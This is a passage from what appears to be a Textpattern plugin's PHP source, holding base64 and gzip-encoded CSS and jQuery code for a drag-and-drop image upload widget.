NmQwOwp9CgovKiBl\ncnJvciBvciBjb21wbGV0aW9uIG1lc3NhZ2UgKi8KI2FibC1kcm9wbG9hZGVyIC5tZXNzYWdlLWJv\neCB7Cglwb3NpdGlvbjogcmVsYXRpdmU7Cgl0b3A6IDM1MHB4OwoJd2lkdGg6IDUwMHB4OwoJbWFy\nZ2luOiAxMHB4IGF1dG87Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cglmb250LXNpemU6IHNtYWxsOwp9\nCg==';\n\t\t\t$resources['/res/js/abl.droploader-app.js'] = 'KGZ1bmN0aW9uKCQpIHsKCgl2YXIgZGVmYXVsdF9vcHRpb25zID0gewoJCXdpZGdldF9pZDogJ2Fi\nbC1kcm9wbG9hZGVyJywKCQlzZWxlY3RfZmlsZXNfY2xhc3M6ICdzZWxlY3QtZmlsZXMnLAoJCWlt\nYWdlX2NhdGVnb3JpZXNfc2VsZWN0OiAnJywKCQlmaWxlZHJvcDogewoJCQlwYXJhbW5hbWU6ICd0\naGVmaWxlJywKCQkJbWF4ZmlsZXM6IGltYWdlX21heF9maWxlcywKCQkJbWF4ZmlsZXNpemU6IGlt\nYWdlX21heF91cGxvYWRfc2l6ZSwKCQkJdXJsOiAnaW5kZXgucGhwJywKCQkJZmFsbGJhY2tfaWQ6\nICdpbWFnZS11cGxvYWQnLAoJCQloZWFkZXJzOiB7CgkJCQknY2hhcnNldCc6ICd1dGYtOCcKCQkJ\nfQoJCX0sCgkJbDEwbjogewoJCQknY2xvc2UnOiAnJiN4MDBkNzsnLAoJCQknY2xvc2VfdGl0bGUn\nOiAnQ2xvc2UgRHJvcExvYWRlcicsCgkJCSdlcnJvcl9tZXRob2QnOiAnTWV0aG9kIHt7bWV0aG9k\nfX0gZG9lcyBub3QgZXhpc3QgaW4gYWJsLmRyb3Bsb2FkZXItYXBwLmpzLicKCQl9Cgl9OwoJdmFy\nIG9wdHMsCgkJZHJvcGxvYWRlcl9oaWRkZW4gPSB0cnVlLAoJCWRyb3Bsb2FkZXIgPSBudWxsOwoK\nCSQuZm4uYWJsRHJvcExvYWRlckFwcCA9IGZ1bmN0aW9uKG1ldGhvZCkgewoKCQl2YXIgbWV0aG9k\ncyA9IHsKCQkJaW5pdCA6IGZ1bmN0aW9uKG9wdGlvbnMpIHsKCQkJCWlmICghbWV0aG9kcy5pc1N1\ncHBvcnRlZCgpKSByZXR1cm4gZmFsc2U7CgkJCQlvcHRzID0gJC5leHRlbmQoe30sIGRlZmF1bHRf\nb3B0aW9ucywgb3B0aW9ucyk7CgkJCQlpZiAoJCgnI3BhZ2UtYXJ0aWNsZScpLmxlbmd0aCA+IDAp\nIHsKCQkJCQlhcnRpY2xlX2ltYWdlX2ZpZWxkID0gbmV3IEFycmF5KCk7CgkJCQkJZm9yICh2YXIg\naSA9IDA7IGkgPCBhcnRpY2xlX2ltYWdlX2ZpZWxkX2lkcy5sZW5ndGg7ICsraSkgewoJCQkJCQlh\ncnRpY2xlX2ltYWdlX2ZpZWxkW2ldID0gJChhcnRpY2xlX2ltYWdlX2ZpZWxkX2lkc1tpXSk7CgkJ\nCQkJfQoJCQkJfQoJCQkJaWYgKCQoJyNoaWRkZW5fY2F0JykubGVuZ3RoID09IDApIHsKCQkJCQkk\nKCcudXBsb2FkLWZvcm0nKQoJCQkJCQkuYXBwZW5kKCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0i\nYWJsX2Ryb3Bsb2FkZXIiIG5hbWU9ImFibF9kcm9wbG9hZGVyIiB2YWx1ZT0iMSIgLz5cbicpCgkJ\nCQkJCS5hcHBlbmQoJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJoaWRkZW5fY2F0IiBuYW1lPSJj\nYXRlZ29yeSIgdmFsdWU9IiIgLz4nKTsKCQkJCX0KCQkJCWlmIChvcHRzLmltYWdlX2NhdGVnb3Jp\nZXNfc2VsZWN0ID09ICcnKSB7CgkJCQkJJC5hamF4KHsKCQkJCQkJdXJsOiAnP2V2ZW50PWFibF9k\ncm9wbG9hZGVyJnN0ZXA9Z2V0X2Zvcm1fZGF0YSZpdGVtcz1pbWFnZV9jYXRfc2VsZWN0LGwxMG4n\nLAoJCQkJCQlkYXRhVHlwZTogJ2pzb24nLAoJCQkJCQlhc3luYzogZmFsc2UsCgkJCQkJCXN1Y2Nl\nc3M6IGZ1bmN0aW9uKGRhdGEpIHsKCQkJCQkJCWlmIChkYXRhLnN0YXR1cyA9PSAnMScpIHsKCQkJ\nCQkJCQlvcHRzLmltYWdlX2NhdGVnb3JpZXNfc2VsZWN0ID0gZGF0YS5pbWFnZV9jYXRfc2VsZWN0\nOwoJCQkJCQkJCW9wdHMubDEwbiA9IGRhdGEubDEwbjsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0p\nOwoJCQkJfQoJCQkJJCgnYm9keScpLmRlbGVnYXRlKCcjYWJsLWRyb3Bsb2FkZXItY2xvc2UnLCAn\nY2xpY2suZHJvcGxvYWRlcicsIGZ1bmN0aW9uKGUpIHsKCQkJCQltZXRob2RzLmNsb3NlKCk7CgkJ\nCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSk7CgkJCQkkKCdib2R5JykuZGVsZWdhdGUoJyNhYmwtZHJv\ncGxvYWRlci1pbWFnZS1jYXQtc2VsIConLCAnY2xpY2suZHJvcGxhZGVyJywgZnVuY3Rpb24oZSkg\newoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0pOwoJCQkJJCgnYm9keScpLmRlbGVnYXRlKCcjYWJs\nLWRyb3Bsb2FkZXItaW1hZ2UtY2F0LXNlbCBzZWxlY3QnLCAnY2hhbmdlLmRyb3BsYWRlcicsIGZ1\nbmN0aW9uKGUpIHsKCQkJCQkkKCcjaGlkZGVuX2NhdCcpLnZhbCgkKHRoaXMpLnZhbCgpKTsKCQkJ\nCQlyZXR1cm4gZmFsc2U7CgkJCQl9KTsKCQkJCWRyb3Bsb2FkZXIgPSAkKCcudXBsb2FkLWZvcm0n\nKS5kcm9wbG9hZGVyKG9wdHMpOwoJCQkJJCgnI2FibC1kcm9wbG9hZGVyJykuaGlkZSgpOwoKCSAg\nICAgICAJCXJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKSB7fSk7CgkJCX0sCgkJCWlzU3VwcG9y\ndGVkOiBmdW5jdGlvbigpIHsKCQkJCXJldHVybiAoJ2RyYWdnYWJsZScgaW4gZG9jdW1lbnQuY3Jl\nYXRlRWxlbWVudCgnc3BhbicpKSAmJiAodHlwZW9mIEZpbGVSZWFkZXIgIT0gJ3VuZGVmaW5lZCcp\nOwoJCQl9LAoJCQlvcGVuOiBmdW5jdGlvbigpIHsKICAgICAgICAJCXJldHVybiB0aGlzLmVhY2go\nZnVuY3Rpb24oKSB7CgkJCQkJaWYgKCQoJy51cGxvYWQtZm9ybScpLmxlbmd0aCA+IDApIHsKCQkJ\nCQkJZHJvcGxvYWRlci5kcm9wbG9hZGVyKCdyZXNldCcpOwoJCQkJCQkkKCcjYWJsLWRyb3Bsb2Fk\nZXInKS5zbGlkZURvd24oZnVuY3Rpb24oKSB7CgkJCQkJCQkkKCcjYWJsLWRyb3Bsb2FkZXIgLnNl\nbGVjdC1maWxlcycpLmFkZENsYXNzKCdhYmwtZml4ZWQtcG9zJyk7CgkJCQkJCQlkcm9wbG9hZGVy\nX2hpZGRlbiA9IGZhbHNlOwoJCQkJCQkJJCgnaHRtbCcpLmJpbmQoJ2tleXVwLmRyb3Bsb2FkZXIn\nLCBmdW5jdGlvbihlKSB7CgkJCQkJCQkJaWYgKGUud2hpY2ggPT0gMjcpIHsKCQkJCQkJCQkJbWV0\naG9kcy5jbG9zZSgpOwoJCQkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCQkJfQoJCQkJCQkJfSk7\nCgkJCQkJCX0pOwoJCQkJCX0KCQkJCX0pOwoJCQl9LAoJCQljbG9zZTogZnVuY3Rpb24oKSB7CgkJ\nCQkkKCcjYWJsLWRyb3Bsb2FkZXIgLnNlbGVjdC1maWxlcycpLnJlbW92ZUNsYXNzKCdhYmwtZml4\nZWQtcG9zJyk7CgkJCQkkKCcjYWJsLWRyb3Bsb2FkZXInKS5zbGlkZVVwKGZ1bmN0aW9uKCkgewoJ\nCQkJCWRyb3Bsb2FkZXJfaGlkZGVuID0gdHJ1ZTsKCQkJCQkkKCdodG1sJykudW5iaW5kKCcuZHJv\ncGxvYWRlcicpOwoJCQkJCWRyb3Bsb2FkZXIgPSBudWxsOwoJCQkJCWlmICgkKCcjcGFnZS1pbWFn\nZScpLmxlbmd0aCA+IDAgJiYgcmVsb2FkX2ltYWdlX3RhYiAhPSAwKSB7CgkJCQkJCWxvY2F0aW9u\nLnJlbG9hZCgpOwoJCQkJCX0KCQkJCX0pOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9LAoJCQlkZXN0\ncm95IDogZnVuY3Rpb24oKSB7CgkJCQlyZXR1cm4gbWV0aG9kcy5jbG9zZSgpOwoJCQl9CgkJfTsK\nCgkJaWYgKG1ldGhvZHNbbWV0aG9kXSkgewoJCQlyZXR1cm4gbWV0aG9kc1ttZXRob2RdLmFwcGx5\nKHRoaXMsIEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cywgMSkpOwoJCX0gZWxz\nZSBpZiAodHlwZW9mIG1ldGhvZCA9PT0gJ29iamVjdCcgfHwgISBtZXRob2QpIHsKCQkJcmV0dXJu\nIG1ldGhvZHMuaW5pdC5hcHBseSh0aGlzLCBhcmd1bWVudHMpOwoJCX0gZWxzZSB7CgkJCSQuZXJy\nb3IoZ2V0VGV4dChvcHRzLmwxMG4uZXJyb3JfbWV0aG9kLCB7ICdtZXRob2QnOiBtZXRob2QgfSkp\nOwoJCX0KCgkJLyogc2hvdyBlcnJvciBvciBjb21wbGV0aW9uIG1lc3NhZ2UgKi8KCQlmdW5jdGlv\nbiBnZXRUZXh0KHRleHQsIHZhbHVlcywgbmwyYnIpewoJCQlpZiAodmFsdWVzICE9PSB1bmRlZmlu\nZWQgJiYgdmFsdWVzICE9ICcnKSB7CgkJCQlmb3IgKHZhciBlbnRyeSBpbiB2YWx1ZXMpIHsKCQkJ\nCQl2YXIgcmVnZXhwID0gbmV3IFJlZ0V4cCgne3snICsgZW50cnkgKyAnfX0nLCAnZ2knKTsKCQkJ\nCQl0ZXh0ID0gdGV4dC5yZXBsYWNlKHJlZ2V4cCwgdmFsdWVzW2VudHJ5XSk7CgkJCQl9CgkJCX0K\nCQkJaWYgKG5sMmJyID09PSB0cnVlKSB7CgkJCQl0ZXh0ID0gdGV4dC5yZXBsYWNlKC9cXG4vZywg\nJzxiciAvPicpOwoJCQl9IGVsc2UgewoJCQkJdGV4dCA9IHRleHQucmVwbGFjZSgvXFxuL2csIFN0\ncmluZy5mcm9tQ2hhckNvZGUoMTApKTsKCQkJfQoJCQlyZXR1cm4gdGV4dDsKCQl9CgoJfTsKCn0p\nKGpRdWVyeSk7CgoKJChmdW5jdGlvbigpewoKCXZhciBkcm9wbG9hZGVyX29wdGlvbnMgPSB7CgkJ\nYWZ0ZXJBbGw6IGZ1bmN0aW9uKGZpbGVzKSB7CgkJCWlmIChmaWxlcy5sZW5ndGggPiAwICYmIGFy\ndGljbGVfaW1hZ2VfZmllbGQgIT0gbnVsbCkgewoJCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBhcnRp\nY2xlX2ltYWdlX2ZpZWxkLmxlbmd0aDsgKytpKSB7CgkJCQkJdmFyIHYgPSAkKGFydGljbGVfaW1h\nZ2VfZmllbGRbaV0pLnZhbCgpOwoJCQkJCWlmICh2ID09ICcnKSB7CgkJCQkJCXYgPSBmaWxlcy5q\nb2luKCcsJyk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJdiArPSAnLCcgKyBmaWxlcy5qb2luKCcsJyk7\nCgkJCQkJfQoJCQkJCSQoYXJ0aWNsZV9pbWFnZV9maWVsZFtpXSkudmFsKHYpOwoJCQkJCSQoYXJ0\naWNsZV9pbWFnZV9maWVsZFtpXSkuY2hhbmdlKCk7CgkJCQl9CgkJCX0KCQl9LAoJCWwxMG46IHt9\nCgl9OwoKCWlmICgkLmZuLmFibERyb3BMb2FkZXJBcHAoJ2lzU3VwcG9ydGVkJykpIHsKCgkJdmFy\nIGRvY19sYW5ndWFnZSA9ICQoJ2h0bWwnKS5hdHRyKCdsYW5nJyksCgkJCWltYWdlX3VwbG9hZF9s\naW5rID0gJycsCgkJCWltYWdlX3VwbG9hZF9mb3JtID0gJyc7CgoJCWlmIChpbWFnZV91cGxvYWRf\nZm9ybSA9PSAnJykgewoJCQkkLmdldEpTT04oCgkJCQknP2V2ZW50PWFibF9kcm9wbG9hZGVyJnN0\nZXA9Z2V0X2Zvcm1fZGF0YSZpdGVtcz1hbGwnLAoJCQkJZnVuY3Rpb24oZGF0YSkgewoJCQkJCWlm\nIChkYXRhLnN0YXR1cyA9PSAnMScpIHsKCQkJCQkJaW1hZ2VfdXBsb2FkX2xpbmsgPSBkYXRhLmlt\nYWdlX3VwbG9hZF9saW5rOwoJCQkJCQlpbWFnZV91cGxvYWRfZm9ybSA9IGRhdGEuaW1hZ2VfdXBs\nb2FkX2Zvcm07CgkJCQkJCWRyb3Bsb2FkZXJfb3B0aW9ucy5pbWFnZV9jYXRlZ29yaWVzX3NlbGVj\ndCA9IGRhdGEuaW1hZ2VfY2F0X3NlbGVjdDsKCQkJCQkJZHJvcGxvYWRlcl9vcHRpb25zLmwxMG4g\nPSBkYXRhLmwxMG47CgkJCQkJCWFibERyb3BMb2FkZXJTZXR1cCgpOwoJCQkJCX0KCQkJCX0KCQkJ\nKTsKCQl9IGVsc2UgewoJCQlhYmxEcm9wTG9hZGVyU2V0dXAoKTsKCQl9CgoJCWZ1bmN0aW9uIGFi\nbERyb3BMb2FkZXJTZXR1cCgpIHsKCQkJaWYgKCQoJyNwYWdlLWFydGljbGUnKS5sZW5ndGggPiAw\nICYmICQoJy51cGxvYWQtZm9ybScpLmxlbmd0aCA9PSAwKSB7CgkJCQkkKCdib2R5JykuYXBwZW5k\nKGltYWdlX3VwbG9hZF9mb3JtKTsKCQkJfQoJCQkkKCcudXBsb2FkLWZvcm0nKS5oaWRlKCk7CgkJ\nCWlmICgkKCcjcGFnZS1pbWFnZScpLmxlbmd0aCA+IDApIHsKCQkJCSQoJ2JvZHknKS5hcHBlbmQo\nJCgnLnVwbG9hZC1mb3JtJykpOyAvLyBtb3ZlIGZvcm0KCQkJLy8JJCgnI2ltYWdlX2NvbnRyb2wn\nKS5wcmVwZW5kKGltYWdlX3VwbG9hZF9saW5rKTsgLy8gaW5zZXJ0IGxpbmsKICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAkKCcudHhwLWNvbnRyb2wtcGFuZWwnKS5wcmVwZW5kKGltYWdl\nX3VwbG9hZF9saW5rKTsgLy8gaW5zZXJ0IGxpbmsKCQkJfQoJCQkkKCdib2R5JykuZGVsZWdhdGUo\nJy5hYmwtZHJvcGxvYWRlci1vcGVuJywgJ2NsaWNrLmRyb3Bsb2FkZXInLCBmdW5jdGlvbihlKSB7\nCgkJCQkkKCcudXBsb2FkLWZvcm0nKQoJCQkJCS5hYmxEcm9wTG9hZGVyQXBwKCdpbml0JywgZHJv\ncGxvYWRlcl9vcHRpb25zKQoJCQkJCS5hYmxEcm9wTG9hZGVyQXBwKCdvcGVuJyk7CgkJCQlyZXR1\ncm4gZmFsc2U7CgkJCX0pOwoJCX0KCgl9Cgp9KTsK';\n\t\t\t$resources['/res/js/jquery.droploader.js'] = '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';\n\t\t\t$resources['/res/js/jquery.filedrop.js'] = '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